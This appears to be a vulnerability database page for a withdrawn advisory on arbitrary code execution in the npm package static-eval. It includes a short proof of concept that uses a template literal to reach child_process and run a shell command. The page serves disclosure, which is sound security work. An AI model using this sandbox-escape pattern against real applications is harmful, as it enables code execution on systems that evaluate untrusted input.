GHSA-8v27-2fg9-7h62

    Dashboard / Vulnerabilities / GHSA-8v27-2fg9-7h62

    GHSA-8v27-2fg9-7h62

    Published: 6 May 2021Last Modified: 10 Sept 2026

    Summary: Withdrawn: Arbitrary Code Execution in static-eval

    Details: All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast) # WITHDRAWN This was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.

    Affected packages

    Package

    Name: static-eval

    Purl: pkg:npm/static-eval

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-8v27-2fg9-7h62 | CVE-DB